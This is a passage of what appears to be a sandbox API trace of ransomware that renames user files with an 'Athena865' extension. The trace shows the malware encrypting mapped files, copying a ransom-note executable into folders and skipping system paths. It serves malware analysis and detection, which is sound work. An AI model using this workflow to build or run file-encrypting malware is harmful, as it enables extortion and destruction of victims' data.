(lpString1="wav", lpString2="sdc") returned 1 [0051.350] lstrlenW (lpString="sdf") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1 [0051.350] lstrlenW (lpString="sis") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1 [0051.350] lstrlenW (lpString="spq") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1 [0051.350] lstrlenW (lpString="te") returned 2 [0051.350] lstrcmpiW (lpString1="av", lpString2="te") returned -1 [0051.350] lstrlenW (lpString="teacher") returned 7 [0051.350] lstrcmpiW (lpString1="Y5n.wav", lpString2="teacher") returned 1 [0051.350] lstrlenW (lpString="tmd") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1 [0051.350] lstrlenW (lpString="tps") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1 [0051.350] lstrlenW (lpString="trc") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1 [0051.350] lstrlenW (lpString="trc") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1 [0051.350] lstrlenW (lpString="trm") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1 [0051.350] lstrlenW (lpString="udb") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1 [0051.350] lstrlenW (lpString="udl") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1 [0051.350] lstrlenW (lpString="usr") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1 [0051.350] lstrlenW (lpString="v12") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1 [0051.350] lstrlenW (lpString="vis") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1 [0051.350] lstrlenW (lpString="vpd") returned 3 [0051.350] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1 [0051.350] lstrlenW (lpString="vvv") returned 3 [0051.351] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1 [0051.351] lstrlenW (lpString="wdb") returned 3 [0051.351] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1 [0051.351] lstrlenW (lpString="wmdb") returned 4 [0051.351] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1 [0051.351] lstrlenW (lpString="wrk") returned 3 [0051.351] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1 [0051.351] lstrlenW (lpString="xdb") returned 3 [0051.351] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1 [0051.351] lstrlenW (lpString="xld") returned 3 [0051.351] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1 [0051.351] lstrlenW (lpString="xmlff") returned 5 [0051.351] lstrcmpiW (lpString1="n.wav", lpString2="xmlff") returned -1 [0051.351] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\Xdq36j18Lt7rY5n.wav.Athena865") returned 82 [0051.351] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\Xdq36j18Lt7rY5n.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\xdq36j18lt7ry5n.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\Xdq36j18Lt7rY5n.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\xdq36j18lt7ry5n.wav.athena865"), dwFlags=0x1) returned 1 [0051.351] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\Xdq36j18Lt7rY5n.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\xdq36j18lt7ry5n.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.352] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=61022) returned 1 [0051.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.352] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.353] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.353] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.353] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf160, lpName=0x0) returned 0x154 [0051.353] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf160) returned 0x100000 [0051.355] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.356] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.356] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.356] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bbf8 | out: hHeap=0x4f0000) returned 1 [0051.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0051.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.357] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.358] CloseHandle (hObject=0x154) returned 1 [0051.358] CloseHandle (hObject=0x17c) returned 1 [0051.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.362] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc0c960, ftCreationTime.dwHighDateTime=0x1d4d113, ftLastAccessTime.dwLowDateTime=0x3b581610, ftLastAccessTime.dwHighDateTime=0x1d4ca50, ftLastWriteTime.dwLowDateTime=0x3b581610, ftLastWriteTime.dwHighDateTime=0x1d4ca50, nFileSizeHigh=0x0, nFileSizeLow=0xee5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xdq36j18Lt7rY5n.wav", cAlternateFileName="XDQ36J~1.WAV")) returned 0 [0051.362] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0051.362] ReleaseMutex (hMutex=0xec) returned 1 [0051.362] CloseHandle (hObject=0xec) returned 1 [0051.362] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents" [0051.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501928 | out: hHeap=0x4f0000) returned 1 [0051.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c500 | out: hHeap=0x4f0000) returned 1 [0051.362] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents") returned 59 [0051.362] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1F8A7846DA2D629F128082F128426E17") returned 0xec [0051.362] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0051.362] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents" [0051.362] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0051.362] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.363] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0051.363] GetLastError () returned 0x0 [0051.363] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0051.363] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0051.363] CloseHandle (hObject=0xf4) returned 1 [0051.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0051.363] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0051.363] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5ead1c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0051.363] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.363] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.364] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.364] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5ead1c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.364] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.364] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.364] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.364] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.364] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1442770, ftCreationTime.dwHighDateTime=0x1d4ff74, ftLastAccessTime.dwLowDateTime=0x9e0cb830, ftLastAccessTime.dwHighDateTime=0x1d55f4a, ftLastWriteTime.dwLowDateTime=0xc5c97e80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-xyaZA U2CnstOD2Db.pptx.Athena865", cAlternateFileName="-XYAZA~1.ATH")) returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2=".") returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2="..") returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2="windows") returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2="bootmgr") returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2="temp") returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2="pagefile.sys") returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2="boot") returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2="ids.txt") returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2="ntuser.dat") returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2="perflogs") returned 1 [0051.364] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865", lpString2="MSBuild") returned 1 [0051.364] lstrlenW (lpString="-xyaZA U2CnstOD2Db.pptx.Athena865") returned 33 [0051.364] lstrcpyW (in: lpString1=0x241e8c0, lpString2="-xyaZA U2CnstOD2Db.pptx.Athena865" | out: lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865") returned="-xyaZA U2CnstOD2Db.pptx.Athena865" [0051.364] lstrlenW (lpString="-xyaZA U2CnstOD2Db.pptx.Athena865") returned 33 [0051.364] lstrlenW (lpString="Athena865") returned 9 [0051.364] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.364] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d82590, ftCreationTime.dwHighDateTime=0x1d535d3, ftLastAccessTime.dwLowDateTime=0xebd35510, ftLastAccessTime.dwHighDateTime=0x1d569f4, ftLastWriteTime.dwLowDateTime=0xc5cbdfe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x15b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16kFnlYu4.pptx.Athena865", cAlternateFileName="16KFNL~1.ATH")) returned 1 [0051.364] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.364] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.364] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2=".") returned 1 [0051.364] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="..") returned 1 [0051.364] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="windows") returned -1 [0051.364] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="bootmgr") returned -1 [0051.365] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="temp") returned -1 [0051.365] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="pagefile.sys") returned -1 [0051.365] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="boot") returned -1 [0051.365] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="ids.txt") returned -1 [0051.365] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="ntuser.dat") returned -1 [0051.365] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="perflogs") returned -1 [0051.365] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="MSBuild") returned -1 [0051.365] lstrlenW (lpString="16kFnlYu4.pptx.Athena865") returned 24 [0051.365] lstrcpyW (in: lpString1=0x241e8c0, lpString2="16kFnlYu4.pptx.Athena865" | out: lpString1="16kFnlYu4.pptx.Athena865") returned="16kFnlYu4.pptx.Athena865" [0051.365] lstrlenW (lpString="16kFnlYu4.pptx.Athena865") returned 24 [0051.365] lstrlenW (lpString="Athena865") returned 9 [0051.365] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.365] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729bba00, ftCreationTime.dwHighDateTime=0x1d5747d, ftLastAccessTime.dwLowDateTime=0x67d65000, ftLastAccessTime.dwHighDateTime=0x1d56a3f, ftLastWriteTime.dwLowDateTime=0xc5cbdfe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6c70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1RVMA-5c0shFPVx.docx.Athena865", cAlternateFileName="1RVMA-~1.ATH")) returned 1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2=".") returned 1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="..") returned 1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="windows") returned -1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="bootmgr") returned -1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="temp") returned -1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="pagefile.sys") returned -1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="boot") returned -1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="ids.txt") returned -1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="ntuser.dat") returned -1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="perflogs") returned -1 [0051.365] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="MSBuild") returned -1 [0051.365] lstrlenW (lpString="1RVMA-5c0shFPVx.docx.Athena865") returned 30 [0051.365] lstrcpyW (in: lpString1=0x241e8c0, lpString2="1RVMA-5c0shFPVx.docx.Athena865" | out: lpString1="1RVMA-5c0shFPVx.docx.Athena865") returned="1RVMA-5c0shFPVx.docx.Athena865" [0051.365] lstrlenW (lpString="1RVMA-5c0shFPVx.docx.Athena865") returned 30 [0051.365] lstrlenW (lpString="Athena865") returned 9 [0051.365] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.365] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5691d820, ftCreationTime.dwHighDateTime=0x1d52b59, ftLastAccessTime.dwLowDateTime=0x86ff4580, ftLastAccessTime.dwHighDateTime=0x1d57062, ftLastWriteTime.dwLowDateTime=0xc5ce4140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x11ee0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6gDHUsOfdzBpu1Km.pptx.Athena865", cAlternateFileName="6GDHUS~1.ATH")) returned 1 [0051.365] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.366] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.366] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2=".") returned 1 [0051.366] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="..") returned 1 [0051.366] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="windows") returned -1 [0051.366] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="bootmgr") returned -1 [0051.366] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="temp") returned -1 [0051.366] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="pagefile.sys") returned -1 [0051.366] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="boot") returned -1 [0051.366] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="ids.txt") returned -1 [0051.366] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="ntuser.dat") returned -1 [0051.366] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="perflogs") returned -1 [0051.366] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="MSBuild") returned -1 [0051.366] lstrlenW (lpString="6gDHUsOfdzBpu1Km.pptx.Athena865") returned 31 [0051.366] lstrcpyW (in: lpString1=0x241e8c0, lpString2="6gDHUsOfdzBpu1Km.pptx.Athena865" | out: lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865") returned="6gDHUsOfdzBpu1Km.pptx.Athena865" [0051.366] lstrlenW (lpString="6gDHUsOfdzBpu1Km.pptx.Athena865") returned 31 [0051.366] lstrlenW (lpString="Athena865") returned 9 [0051.366] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.366] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4533d4c0, ftCreationTime.dwHighDateTime=0x1d4d30c, ftLastAccessTime.dwLowDateTime=0xc5ce4140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5ce4140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="al9qeSvEUMbs", cAlternateFileName="AL9QES~1")) returned 1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2=".") returned 1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="..") returned 1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="windows") returned -1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="bootmgr") returned -1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="temp") returned -1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="pagefile.sys") returned -1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="boot") returned -1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="ids.txt") returned -1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="ntuser.dat") returned -1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="perflogs") returned -1 [0051.366] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="MSBuild") returned -1 [0051.366] lstrlenW (lpString="al9qeSvEUMbs") returned 12 [0051.366] lstrcpyW (in: lpString1=0x241e8c0, lpString2="al9qeSvEUMbs" | out: lpString1="al9qeSvEUMbs") returned="al9qeSvEUMbs" [0051.367] lstrcatW (in: lpString1="al9qeSvEUMbs", lpString2="\\" | out: lpString1="al9qeSvEUMbs\\") returned="al9qeSvEUMbs\\" [0051.367] lstrcatW (in: lpString1="al9qeSvEUMbs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe") returned="al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe" [0051.367] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\al9qesveumbs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.367] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6044bc0, ftCreationTime.dwHighDateTime=0x1d52237, ftLastAccessTime.dwLowDateTime=0x425d7580, ftLastAccessTime.dwHighDateTime=0x1d534af, ftLastWriteTime.dwLowDateTime=0xc5d0a2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", cAlternateFileName="BDM-N-~1.ATH")) returned 1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2=".") returned 1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="..") returned 1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="windows") returned -1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="bootmgr") returned -1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="temp") returned -1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="pagefile.sys") returned -1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="boot") returned -1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="ids.txt") returned -1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="ntuser.dat") returned -1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="perflogs") returned -1 [0051.367] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="MSBuild") returned -1 [0051.367] lstrlenW (lpString="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865") returned 34 [0051.368] lstrcpyW (in: lpString1=0x241e8c0, 